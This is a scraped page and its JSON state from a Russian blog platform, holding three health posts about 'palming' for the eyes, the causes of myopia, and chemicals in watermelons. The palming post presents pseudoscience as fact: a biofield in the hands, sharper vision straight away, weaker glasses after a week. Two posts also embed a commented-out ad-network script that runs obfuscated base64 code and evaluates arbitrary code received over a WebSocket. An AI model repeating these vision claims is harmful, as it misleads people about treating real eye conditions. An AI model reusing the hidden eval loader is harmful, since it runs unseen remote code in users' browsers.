На информационном ресурсе применяются рекомендательные технологии (информационные технологии предоставления информации на основе сбора, систематизации и анализа сведений, относящихся к предпочтениям пользователей сети "Интернет", находящихся на территории Российской Федерации)

Гимнастика для глаз: как она помогает и как её делать?

Различные упражнения для глаз достаточно распространены, но вопреки ошибочному мнению, они не помогут в решении таких проблем как близорукость, дальнозоркость или астигматизм. Повлиять на остроту зрения так называемая глазная гимнастика не способна – очки, контактные линзы или лазерная коррекция
...Далее

Как сохранить хорошее зрение?

Хорошее зрение важно для каждого человека. О том, какие простые правила помогут сохранить хорошее зрение и четко видеть окружающий мир, расскажет Swjournal. Опасной для здоровья глаз является работа, которая занимает большую часть времени и вызывает максимальное напряжение зрения. Офтальмологи
...Далее

Подробная инструкция пальминга для глаз

\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>Пальминг – это упражнение на расслабление глаз. Оно является очень древним и принадлежит йогам. Упражнение «пальминг» следует выполнять каждый раз, когда вы ощущаете напряжение в глазах или когда просто о чем-либо мечтаете или воображаете.\x3c/p>\n\x3cp>На первый взгляд, пальминг для глаз – очень простое упражнение, которое не требует никаких усилий. Однако могут возникнуть проблемы при его выполнении, особенно это касается психологической части пальминга.\x3c/p>\n\x3cp>Оказывается у каждого органа, каждой части тела есть своя энергетика. Проблемные органы имеют слабое биополе, а сильные — наоборот. Теперь давайте посмотрим на свои руки. Да! Да там оказывается самое сильное биополе, в разы превосходящее биополе на других участках тела.\x3c/p>\n\x3cp>Теперь подкрадываемся к нашим глазам. Итак, подробная инструкция пальминга для глаз:\x3c/p>\n\x3cp>1. Настрой. Опять? – Скажете вы. Да! Снова настрой. Поймите для чего вам хорошее зрение, что оно вам даст? Представьте, как вы гордо топчите ногами свои очки перед родными. Все что угодно, лишь бы это вызвало в вас порыв!\x3c/p>\n\x3cp>2. Сильно разотрите руки друг об друга, пока не почувствуете тепло. Это нужно для того, чтобы энергия рук стала сильнее;\x3c/p>\n\x3cp>3. Приложите руки к глазам следующим образом: центр ладоней направлен на глаза, а сами ладони перекрещиваются одна на другой в центре лба. Ладони прямые, необходимо чтобы центр ладони как можно ближе оказался у ваших глазок. В идеале, если вы можете ладонь пощекотать своими ресницами. Важно чтобы свет не проникал за ладони;\x3c/p>\n\x3cp>4. Положите локти себе на колени, или на стол; Нужна опора, в воздухе руки не держите, это вызовет их напряжение и отвлечет вас;\x3c/p>\n\x3cp>5. Если у вас остались так называемые белые пятна, это значит, что глазам нужно дать расслабиться. Представьте, что вы закрашиваете их черной краской, или кладете черное покрывало;\x3c/p>\n\x3cp>6. Кайфуйте! В прямом смысле, расслабьтесь, получите удовольствие, подумайте о самом приятном моменте в жизни, фантазируйте, мечтайте. В общем, сделайте все, чтобы почувствовать удовольствие. В таком состоянии пребывайте как можно дольше. Ограничений по времени нет. Сможете пять минут просидеть – отлично, десять – замечательно. Чем больше — тем лучше;\x3c/p>\n\x3cp>7. Плавно уберите руки от глаз и медленно раскройте их. Все!\x3c/p>\n\x3cp>Если все сделали правильно, то уже после первого пальминга сможете почувствовать эффект: краски стали более насыщенными, изображение более четкое. И это не мудрено: глаза мышц расслабились, а те, что были слабыми — пришли в тонус. В идеале делать пальминг как можно чаще, но особенно эффективен он будет перед приемом пищи, а также после физической нагрузки на глаза. Просидел у компьютера час – сделай хотя бы на одну минуту пальминг. Эффект усилится, если вы будете делать его после гимнастики для глаз.\x3c/p>\n\x3cp>Ну и напоследок. Дисциплина. Соблюдайте ее. Это же для вас родимых, а не для кого-то. Так что возьмите себе за правило сидеть в пальминге определенное время каждый день. Уже через неделю упорства и труда придется сменить очки на более слабые.Пальминг для глаз очень полезен, это одно из основных упражнений в борьбе за хорошее зрение!\x3c/p>\n\x3cp>\x3ca href=\"https://vk.com/wall-76873158_99423\" target=\"_blank\">Источник\x3c/a>\x3c/p>\n\n \x3c!-- A generated by theme --> \n\n\n\n \x3c!-- end A --> \n\n\n\x3cdiv>\n\x3cdiv>\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>\n \x3cp>\x3cstrong>\x3ca href=\"https://blockads.fivefilters.org\" target=\"_blank\">Let's block ads!\x3c/a>\x3c/strong> \x3ca href=\"https://blockads.fivefilters.org/acceptable.html\" target=\"_blank\">(Why?)\x3c/a>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43066980849","tags":["глаза","улучшить зрение","упражнение для глаз","пальминг","Здоровье","зрение"],"date":1536599490,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20429954460,"photo_original":"https://mtdata.ru/u25/photo1694/20429954460-0/original.png","width":696,"height":411}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"https://fithacker.ru/articles/podrobnaya-instruktsiya-palminga-dlya-glaz/","topic":"health","title":"Подробная инструкция пальминга для глаз","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() +","post_type":"post","formattedDates":{"iso":"2018-09-10T17:11:30.000Z","ver1":"10 сентября, 20:11","ver2":"10.09.2018 в 20:11","ver3":"10 сент., 20:11"},"images":[{"main":true,"url":"https://mtdata.ru/u25/photo1694/20429954460-0/original.png","width":696,"height":411}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43179558776,"from_id":738315991,"from":{"id":738315991,"display_name":"Николай Бодарев","url":"https://mirtesen.ru/people/738315991","photo_original":"https://mtdata.ru/u24/photoEED9/20121963342-0/original.jpeg","isAuthenticAccount":false,"sex":2},"owner_id":-30831168674,"text":"\x3cp>\x3cimg src=\"//mtdata.ru/u23/photo8E87/20385848447-0/original.jpg#20385848447\" alt=\"\" />\x3c/p>\n\x3cp>Обычно известное ухудшение зрения, как близорукость, является нарушение рефракции, которая вызывает плохое дистанционное зрение. Это означает, что люди с близорукостью могут видеть близкие объекты, но удаленные объекты будут размыты.\x3c/p>\n\x3cp>Чем больше прогрессирует близорукость, тем хуже ваше видение объектов, находящихся на расстоянии — они должны быть ближе к вам, чтобы вы могли их четко видеть.\x3c/p>\n\x3cp>Существует другая патология зрения, которая сопровождается астигматизмом из-за неравномерной кривизны роговицы, либо неправильной формы хрусталика. (Узнайте больше о том, как части глаз работают в анатомии человека)\x3c/p>\n\x3ch2>\x3cspan>\x3cspan>Что вызывает близорукость?\x3c/span>\x3c/span>\x3c/h2>\n\x3cp>Это происходит из-за деформированной формы наших глазных яблок. Здоровое глазное яблоко круглое, но близорукое глазное яблоко имеет овальную форму. Как это произошло? В основном это связано с частым стрессом.\x3c/p>\n\x3cp>Усиливающееся напряжение стресса заставляет мышцы глаза находиться в состоянии постоянного сжатия, не позволяя им достаточно расслабиться, чтобы сосредоточиться на отдаленных объектах. Со временем глаз адаптируется к этому стрессу, удлиняя глазное яблоко и еще более усугубляя состояние.\x3c/p>\n\x3cp>Американский профессор Фрэнсис Янг (Francis Young, 1971) обнаружил, что, когда обезьяны были вынуждены рассматривать объекты на расстоянии менее 20 дюймов (50 сантиметров), 75% из них приобрели близорукость в течение трех месяцев. Напротив, другая группа обезьян, которая пребывала в «открытой» визуальной среде, ни у одной из них не появились какие-либо нарушения зрения.\x3c/p>\n\x3cp>Читайте подробнее: \x3cstrong>\x3ca title=\"зрение, близорукость, причины близорукости, улучшить зрение, стресс, линзы, ортокератология, лазекрная хирургия, упражнения глазные, гибкость, пальминг\" href=\"https://medicynanaroda.ru/kak-uluchshit-zrenie-pri-blizorukosti.html\" rel=\"noopener noreferrer\" target=\"_blank\">Как улучшить зрение при близорукости\x3c/a>\x3c/strong>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://medicynanaroda49.mirtesen.ru/blog/43179558776","tags":["улучшить зрение","близорукость","пальминг","причины близорукости","стресс","ортокератология","линзы","зрение","гибкость"],"date":1513191955,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20385848447,"photo_original":"https://mtdata.ru/u23/photo8E87/20385848447-0/original.jpg","width":400,"height":303}}],"group":{"display_name":"Мир, в котором мы живем","url":"https://medicynanaroda49.mirtesen.ru","photo_original":null,"id":30831168674,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1434800017340},"canonical_url":"https://medicynanaroda49.mirtesen.ru/blog/43179558776","topic":"politics","title":"Как улучшить зрение при близорукости","preview_text":"Обычно известное ухудшение зрения, как близорукость, является нарушение рефракции, которая вызывает плохое дистанционное зрение. Это означает, что люди с близорукостью могут видеть близкие объекты, но удаленные объекты будут размыты. \nЧем больше прогрессирует близорукость, тем хуже ваше видение","post_type":"post","formattedDates":{"iso":"2017-12-13T19:05:55.000Z","ver1":"13 декабря, 22:05","ver2":"13.12.2017 в 22:05","ver3":"13 дек., 22:05"},"images":[{"main":true,"url":"https://mtdata.ru/u23/photo8E87/20385848447-0/original.jpg","width":400,"height":303}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43940883395,"from_id":207436180,"from":{"id":207436180,"display_name":"Елена","url":"https://mirtesen.ru/people/207436180","photo_original":"https://mtdata.ru/u19/photoC16B/20717334100-0/original.jpeg","isAuthenticAccount":false,"sex":1},"owner_id":-30476216193,"text":"\x3cdiv class=\"td-post-featured-image\">\x3ca href=\"http://fithacker.ru/wp-content/uploads/2017/07/If-You-Ever-See-Cracks-In-Your-Watermelon-When-You-Cut-It-Throw-It-Right-Out.-It-Can-Make-You-Sick.jpg\" data-caption=\"\" target=\"_blank\">\x3cimg width=\"640\" height=\"341\" class=\"entry-thumb td-modal-image\" src=\"//mtdata.ru/u19/photo4388/20140903516-0/original.jpg#20140903516\" alt=\"\" title=\"If You Ever See Cracks In Your Watermelon When You Cut It, Throw It Right Out. It Can Make You Sick!\">\x3c/a>\x3c/div>\x3c!-- M347983Composite Start -->\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>-->\x3c!-- M347983Composite End -->\x3cp lang=\"zxx\" align=\"justify\">Больше не всегда лучше.\x3c/p>\x3cp lang=\"zxx\" align=\"justify\">По крайней мере, \x3cspan lang=\"ru-RU\">это точно касается\x3c/span> арбузов. \x3cspan lang=\"ru-RU\">Эти в\x3c/span>кусные фрукты можно \x3cspan lang=\"ru-RU\">употреблять\x3c/span> различными способами: \x3cspan lang=\"ru-RU\">съесть просто скибку\x3c/span>, \x3cspan lang=\"ru-RU\">дополнить свой\x3c/span> коктейл\x3cspan lang=\"ru-RU\">ь\x3c/span> и даже подсластить салат. \x3cspan lang=\"ru-RU\">Арбуз\x3c/span> даже используют в качестве чаши для некоторых летних коктейльных смесей.\x3c/p>\x3c!-- A generated by theme -->\x3c!-- end A -->\x3cp lang=\"zxx\" align=\"justify\">\x3cspan lang=\"ru-RU\">Н\x3c/span>о в Китае \x3cspan lang=\"ru-RU\">этот\x3c/span> плод имел пагубные последствия.\x3c/p>\x3cp lang=\"zxx\" align=\"justify\">Неизвестные фермер\x3cspan lang=\"ru-RU\">ы\x3c/span>, использовали удобрение, в котором содержалось химическое вещество, называемое хлорфенуроном. \x3cspan lang=\"ru-RU\">Это х\x3c/span>имическое вещество имеет возможность увеличить размер арбуза на 20% более быстрыми темпами, что в конечном итоге приведет к увеличению прибыли. По крайней мере, \x3cspan lang=\"ru-RU\">так считала \x3c/span>компания по удобрениям.\x3c/p>\x3cp lang=\"zxx\" align=\"justify\">Когда фермеры \x3cspan lang=\"ru-RU\">заметили, \x3c/span>\x3cspan lang=\"ru-RU\">что их арбузы\x3c/span> ломаются пополам и приобретают форму, отсутствующую в их естественной форме, они были \x3cspan lang=\"ru-RU\">озадачены\x3c/span>. Даже вкус и текстура были изменены из первоначального состояния. Фермеры видели аномальное количество белых семян, когда фрукты обычно содержали преимущественно черные семена.\x3c/p>\x3cp lang=\"zxx\" align=\"justify\">\x3cspan lang=\"ru-RU\">Это\x3c/span> химическое вещество, которое использовалось с начала 1980-х годов, \x3cspan lang=\"ru-RU\">хотя и \x3c/span>считается безопасным, директор Исследовательского института овощей в Академии сельскохозяйственных наук Циндао Цуй Цзянь заявил, что лучше избегать химикатов растительных гормонов, потому что арбузы особенно чувствительны \x3cspan lang=\"ru-RU\">к\x3c/span> химикатам.\x3c/p>\x3cp lang=\"zxx\" align=\"justify\">В то время как химическое вещество, используемое в удобрении, похоже, обладает способностью «\x3cspan lang=\"ru-RU\">взрывать\x3c/span>» арбуз, было подтверждено, что оно не вредно для здоровья.\x3c/p>\x3cp lang=\"zxx\" align=\"justify\">В то время как Цзянь сделал свое заявление, Агентство по охране окружающей среды (EPA) ответило на него собственным аргументом. \x3cspan lang=\"ru-RU\">Тоже вещество\x3c/span> используется в киви и винограде, удобрение доказано как цитотоксическое и может привести к острой кожной, оральной и респираторной токсичности при попадании внутрь. Несмотря на то, что он\x3cspan lang=\"ru-RU\">о\x3c/span> не является \x3ca href=\"http://www.worldhealthguide.org/2016/11/if-you-ever-see-cracks-in-your.html?utm_content=buffera4f77&utm_medium=social&utm_source=facebook.com&utm_campaign=buffer\" target=\"_blank\">канцерогенным\x3c/a>, это вещество содержит токсины, которые могут привести к большим проблемам. Множественные тесты были \x3cspan lang=\"ru-RU\">проведены\x3c/span> на животных и доказали, что он\x3cspan lang=\"ru-RU\">о\x3c/span>\x3cspan lang=\"ru-RU\">вредит здоровью\x3c/span>.\x3c/p>\x3cp lang=\"zxx\" align=\"justify\">В дополнение к повреждению токсинов химические вещества в удобрении могут распространяться в окружающую среду, что приводит к разрушительным последствиям для нашего здоровья, которые связаны с химическим смешиванием с флорой и фауной.\x3c/p>\x3cp lang=\"zxx\" align=\"justify\">Китайское правительство будет продолжать использовать свою власть для поддержания роста производства продовольствия, независимо от плохих последствий для нашего здоровья и окружающей среды.\x3c/p>\x3c!-- A generated by theme -->\x3c!-- end A -->\x3cdiv id=\"subscribe_storyfox\">\x3cdiv class=\"subscribe_storyfox_inner\">\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\x3c/div>\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://obo.mirtesen.ru/blog/43940883395","tags":["астма","улучшить зрение","артрит","витамин С","укрепить иммунитет","ликопин","Здоровье","арбуз","рак"],"date":1499884902,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20140903516,"photo_original":"https://mtdata.ru/u19/photo4388/20140903516-0/original.jpg","width":640,"height":341}}],"group":{"display_name":"Обо всём на свете","url":"https://obo.mirtesen.ru","photo_original":"//mtdata.ru/u3/groupBC1F/24e5fc4cf1956636622fdab950b525c6-0/__logo.jpeg","id":30476216193,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1385903514653},"canonical_url":"http://fithacker.ru/articles/esli-vyi-vidite-treshhinyi-v-svoem-arbuze-kogda-vyi-ego-razrezaete-vyibroste-ego-nemedlenno-eto-mozhet-navredit-vashemu-zdorovyu/","topic":"health","title":"Если вы видите трещины в своем арбузе, когда вы его разрезаете, выбросьте его немедленно. Это может навредить вашему здоровью!","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src =","post_type":"post","formattedDates":{"iso":"2017-07-12T18:41:42.000Z","ver1":"12 июля, 21:41","ver2":"12.07.2017 в 21:41","ver3":"12 июля, 21:41"},"images":[{"main":true,"url":"https://mtdata.ru/u19/photo4388/20140903516-0/original.jpg","width":640,"height":341}],"videos":[],"shared_post":null,"mentionedPersons":null}],"tag":"улучшить зрение","tagId":80195978544,"hasMore":true,"offset":1,"isGeo":false},"reasonsForShowing":{},"channelMain":{"items":[],"nextOffset":0,"hasMoreItems":true,"currentUserPostId":null,"page":0},"richPostEditor":{"id":null,"title":"","text":"","channel":null,"canSelectChannel":false,"canSubmit":false},"indexChannel":{"items":[],"nextOffset":0,"hasMoreItems":true},"videoList":{},"videoOne":{},"videoRecommendations":{},"channelActions":{},"testDraftJs":{},"channelEditor":{"tab":"info","key":0,"isOpen":false,"isReady":true,"inProcess":false,"channelId":null,"isDirty":false,"header":{"title":"","avatar":null},"info":{"id":null,"name":"","title":"","description":"","isNameAvailable":true,"errors":{}},"content":{"tags":[],"tagSuggestions":[],"geoTags":[],"geoTagSuggestions":[]},"telegramEdit":{"importKey":null,"name":"","tags":[],"tagSuggestions":[],"errors":{}},"telegramList":{"imports":[]}},"channelCoverEditor":{"isOpen":false,"mode":"add","imageSaved":false},"channelAvatarEditor":{"isOpen":false},"myChannels":{"channels":[],"subscriptions":{"items":[],"nextOffset":0,"hasMore":true,"subscriptionsNum":0}},"channelHeaderTags":{"isOpen":false,"searchResults":[],"geoTags":[],"tags":[],"searchInProccess":false,"geoPosition":null,"headerTags":[]},"searchResults":{"query":"","activeTab":"posts","isLoading":false,"posts":{"results":[],"page":0,"hasMore":true},"geo":{"results":[],"page":0,"hasMore":true},"channels":{"results":[],"page":0,"hasMore":true}}}